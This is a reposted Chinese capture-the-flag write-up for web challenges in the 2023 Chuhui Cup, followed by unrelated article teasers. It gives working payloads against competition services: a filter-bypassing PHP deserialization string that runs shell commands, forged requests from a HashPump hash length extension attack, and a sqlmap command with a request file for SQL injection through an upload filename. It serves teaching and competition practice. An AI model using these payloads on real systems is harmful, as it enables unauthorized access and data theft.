2023年国家基地“楚慧杯”网络空间安全实践能力竞赛 Web方向 题解wp

前言:三小时的比赛,和强网同时结束还要当场交wp,汗流浃背,烧起来了啊啊啊啊~

eaaeval

目录扫出备份文件

image-20231217142018364

源码如下

<?php
class Flag{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'admin';
        $this->b = 'admin';
    }

    public function __destruct(){
        if(!preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->a) && !preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->b)){
		system($this->a.' '.$this->b);
	    }else{
                echo "again?";
        }
    }
}
$wzbz = $_GET['wzbz'];
unserialize($wzbz);
?>

简单反序列化,一点点小过滤(JB到期了呜呜呜)

image-20231217142034440

<?php
class Flag{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'admin';
        $this->b = 'admin';
    }

    public function __destruct(){
        if(!preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->a) && !preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->b)){
		system($this->a.' '.$this->b);
	    }else{
                echo "again?";
        }
    }
}

$a=new Flag();
$a->a='strings';
$a->b='/f*';

echo serialize($a);
?>

payload:

?wzbz=O:4:"Flag":2:{s:1:"a";s:7:"strings";s:1:"b";s:3:"/f*";}

image-20231217150813991

upload_shell

直接俄给了源码,哈希长度扩展攻击。

image-20231217162926247

参考我*CTF的题解

-----------------------------------------------【以下是当时wp】-----------------------------------------------

访问是PHP代码,绕过了就给key,有了key就能加解密JWT,然后伪造身份得到flag。

image-20230729125528005

首先就是要解出盐(salt)。。。。

仔细一看不用解盐,我们做到$username === "admin" && $password != "root"同时md5($salt.$username.$password)===$_COOKIE["digest"]就行了。

我们已知的有

盐的长度是14

md5($salt+“adminroot”)=e6ccbf12de9d33ec27a5bcfb6a3293df


对于这种未知salt,要绕过MD5/sha1加密,目前有一个很好的办法,就是hash长度拓展攻击

(1条消息) 实验吧-让我进去【salt加密 哈希长度拓展攻击】_实验吧 admins only_Sp4rkW的博客-CSDN博客

这题有个工具叫HashPump。kali中安装方法如下(root终端依次输入)

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev 
cd HashPump
make
make install

应用场景:md5("密文"+"已知字符串")=现有哈希值

文件夹下开终端(cd进去也可以),输入hashpump

Input Signature                    #现有哈希值(题目给的MD5)
Input Data                         #已知字符串
Input Key Length                   #为密文(salt)长度
Input Data to Add                  #为补位后自己加的字符串(自定义)

image-20230729174000742

可以看到返回给我们两行内容,第一行是处理过的哈希值,第二行是处理过的已知字符串。

满足:md5("密文"+"处理过的已知字符串")=处理过的哈希值

payload:(url加密就是把\x换成%)

Cookie:digest=8ae52974e81aace9837123a520cb8179
POST:username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00Jay

image-20230729174706600

-----------------------------------------------【以上是当时wp】-----------------------------------------------

hashpump

Input Signature                    #现有哈希值(题目给的MD5)
879bd10c8628894d388c068a25326c21

Input Data                         #已知字符串
adminpassword

Input Key Length                   #为密文(salt)长度
14

Input Data to Add                  #为补位后自己加的字符串(自定义)
Jay17

image-20231217175435005

得到:

2d01cf1b05a07a2bdfe458fbecabb216

adminpassword\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x00\x00\x00\x00Jay17

payload:

POST /login.php HTTP/1.1
Host: 80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81
Content-Length: 148
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=b2a058112188061e22962bd7929d4b76;source=2d01cf1b05a07a2bdfe458fbecabb216
Connection: close

password=password%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d8%00%00%00%00%00%00%00Jay17&username=admin

哈希扩展攻击成功后,身份是admin,在upload.php处可以就行文件上传

文件名是注入点

image-20231217145338757

image-20231217150103313

没有像XCTF upload这题一样有回显,手工尝试后只有插入失败、Warning、上传成功等等,看不透后端语句。

舍弃灵魂上sqlmap。

-r 请求模式 从文件中载入http请求

-D 指定要枚举的数据库名称

-T 指定要枚举的表名称

-C 指定要枚举的列名称

payload:

python sqlmap.py -r requests.txt -D test -T flag -C flag --dump

requests.txt文件内容:

POST /upload.php HTTP/1.1
Host: 80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81
Content-Length: 299
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8J39FBXAAZS2tGHK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://80.endpoint-9bab9a8525604a2e821cc51c27c09494.m.ins.cloud.dasctf.com:81/upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: source=2d01cf1b05a07a2bdfe458fbecabb216; PHPSESSID=b2a058112188061e22962bd7929d4b76
Connection: close

------WebKitFormBoundary8J39FBXAAZS2tGHK
Content-Disposition: form-data; name="file"; filename="'123*'.jpg"
Content-Type: image/jpeg

<1
------WebKitFormBoundary8J39FBXAAZS2tGHK
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundary8J39FBXAAZS2tGHK--

注意点:'123*'.jpg*是为了指定注入点。

image-20231217182105279

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/253500.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

设计模式——策略模式

引言 策略模式是一种行为设计模式&#xff0c; 它能让你定义一系列算法&#xff0c; 并将每种算法分别放入独立的类中&#xff0c; 以使算法的对象能够相互替换。 问题 一天&#xff0c; 你打算为游客们创建一款导游程序。 该程序的核心功能是提供美观的地图&#xff0c; 以…

STM32F103RCT6开发板M3单片机教程06--定时器中断

前言 除非特别说明&#xff0c;本章节描述的模块应用于整个STM32F103xx微控制器系列&#xff0c;因为我们使用是STM32F103RCT6开发板是mini最小系统板。本教程使用是&#xff08;光明谷SUN_STM32mini开发板&#xff09; STM32F10X定时器(Timer)基础 首先了解一下是STM32F10X…

如何开发一个prompt?prompt的使用有哪些原则?

提示词使用原则 如何开发一个跟自己预期结果接近的提示词&#xff1f;有哪些基本原则&#xff1f; 提示词迭代开发 写提示词时&#xff0c;第一次尝试是值得的&#xff0c;反复完善提示&#xff0c;获得越来越接近你想要的结果 原文来源于B站吴恩达提示工程教学公开课。…

Jenkins----基于 CentOS 或 Docker 安装部署Jenkins并完成基础配置

查看原文 文章目录 基于 CentOS7 系统部署 Jenkins 环境基于 Docker 安装部署 Jenkins环境配置 Jenkins 中文模式配置用户名密码形式的 Jenkins 凭据配置 ssh 私钥形式的 Jenkins 凭据配置 Jenkins 执行任务的节点 基于 CentOS7 系统部署 Jenkins 环境 &#xff08;1&#xff…

数据库交付运维高级工程师-腾讯云TDSQL

数据库交付运维高级工程师-腾讯云TDSQL上机指导&#xff0c;付费指导&#xff0c;暂定99

并发编程中常见的设计模式

文章目录 一、 终止线程的设计模式1. 简介2. Tow-phase Termination&#xff08;两阶段终止模式&#xff09;—优雅的停止线程 二、避免共享的设计模式1. 简介2. Immutability模式—想破坏也破坏不了3. Copy-on-Write模式4. Thread-Specific Storage模式—没有共享就没有伤害 三…

[数据集][目标检测]人员持刀数据集VOC+YOLO格式6923张1类别重制版

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;6923 标注数量(xml文件个数)&#xff1a;6923 标注数量(txt文件个数)&#xff1a;6923 标注…

C# WPF上位机开发(函数运行时间分析)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 上位机除了基本功能和稳定性之外&#xff0c;还有一个要注意的就是运行效率的问题。如果我们想提高软件的运行效率&#xff0c;单位时间做更多的工…

【idea】解决sprintboot项目创建遇到的问题

目录 一、报错Plugin ‘org.springframework.boot:spring-boot-maven-plugin:‘ not found 二、报错java: 错误: 无效的源发行版&#xff1a;17 三、java: 无法访问org.springframework.web.bind.annotation.CrossOrigin 四、整合mybatis的时候&#xff0c;报java.lang.Ill…

Spring Boot+Mybatis设置sql日志打印

在全局配置文件添加以下内容&#xff1a;logging.level.com.demo.mapperdebug&#xff0c;com.demo.mapper&#xff1a;src下的mapper路径&#xff0c;debug&#xff1a;设置日志打印级别为debug&#xff0c;亦可设置为&#xff1a;ERROR、WARN、INFO application.properties …

安装android studio

记录一下安装android studio的过程&#xff1a; 1.首先安装android studio到某一文件夹后&#xff0c;在C盘用户目录下可以看到.android文件夹。C:\Users\22515\AppData\Local\Google目录下也会出现AndroidStudio2022.2文件夹。&#xff08;注意&#xff1a;用户名&#xff0c…

【精选】SpringMVC处理响应及注解开发

SpringMVC处理响应 配置视图解析器 SpringMVC默认情况下会在控制器执行完成后跳转到视图页面&#xff0c;视图解析器能找到相应的视图&#xff0c;之前的404异常就是由于没有配置视图解析器导致找不到视图。 在SpringMVC中提供了13个视图解析器&#xff0c;用于支持不同的视图…

87 GB 模型种子,GPT-4 缩小版,超越ChatGPT3.5,多平台在线体验

瞬间爆火的Mixtral 8x7B 大家好&#xff0c;我是老章 最近风头最盛的大模型当属Mistral AI 发布的Mixtral 8x7B了&#xff0c;火爆程度压过Google的Gemini。 缘起是MistralAI二话不说&#xff0c;直接在其推特账号上甩出了一个87GB的种子 随后Mixtral公布了模型的一些细节&am…

yolov5训练自己的数据集

1.要保证yolov5的目录和数据集在同一级目录下&#xff0c;格式如下&#xff0c;我的数据集是leaf。要和yolov5-master在一个级别。 2.数据集leaf的格式是非常重要的&#xff0c;leaf里面有有train&#xff08;训练集&#xff09;,val&#xff08;验证集&#xff09;&#xff…

Web前端期末大作业---新农村建设网页设计

✅ 作者简介&#xff1a;一名普通本科大三的学生&#xff0c;致力于提高前端开发能力 ✨ 个人主页&#xff1a;前端小白在前进的主页 ⭐️ 个人社区 : 个人交流社区 &#x1f340; 学习格言: ☀️ 打不倒你的会使你更强&#xff01;☀️ &#x1f525;前言 期末来咯&#xff0c…

小程序静默登录-登录拦截实现方案【全局loginPromis加页面拦截】

实现效果&#xff1a; 用户进入小程序访问所有页面运行onload、onShow、onReady函数时保证业务登录态是有效的 实现难点&#xff1a; 由于小程序的启动流程中&#xff0c;页面级和组件级的生命周期函数都不支持异步阻塞&#xff1b;因此会造成一个情况&#xff0c;app.onLau…

频谱论文:面向频谱地图构建的频谱态势生成技术研究

#频谱# [1]李竟铭.面向频谱地图构建的频谱态势生成技术研究.2019.南京航空航天大学,MA thesis.doi:10.27239/d.cnki.gnhhu.2019.000556. &#xff08;南京航空航天大学&#xff09; 频谱地图是对无线电环境的抽象表达&#xff0c;它可以直观、多维度地展现频谱态势信息&…

C# 命令行参数解析库示例

写在前面 在日常开发中&#xff0c;我们经常会用到命令行参数&#xff0c;比如cmd下的各种指令&#xff1b;还有C#的控制台类型的项目&#xff0c;在默认入口Main函数中&#xff0c;那个args参数&#xff0c;就是有系统传入到程序进程的命令行参数&#xff1b;在传入的参数相对…

【ArkTS】如何修改应用的首页

之前看到一种说法&#xff0c;说是应用首页是 entry > src > main > resources > base > profile > main_pages.json 中src配置中数组第一个路径元素。这种说法是不对的&#xff01;&#xff01;&#xff01; 如果需要修改应用加载时的首页&#xff0c;需要…